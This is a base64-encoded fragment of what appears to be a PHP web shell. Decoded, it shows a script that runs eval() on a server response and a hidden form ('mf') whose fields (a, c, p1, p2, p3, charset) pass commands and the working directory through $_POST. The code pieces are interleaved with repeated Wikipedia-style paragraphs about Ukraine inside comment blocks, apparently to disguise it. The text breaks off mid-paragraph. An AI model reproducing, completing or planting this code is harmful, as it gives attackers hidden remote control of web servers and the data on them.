ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOwoJCQl9IAoJCQllbHNlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOwoJfQo8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyI+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106Jyc/Pic+Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJz8+Jz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnPz4nPgovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsncDMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pOicnPz4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106Jyc/Pic+Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5ja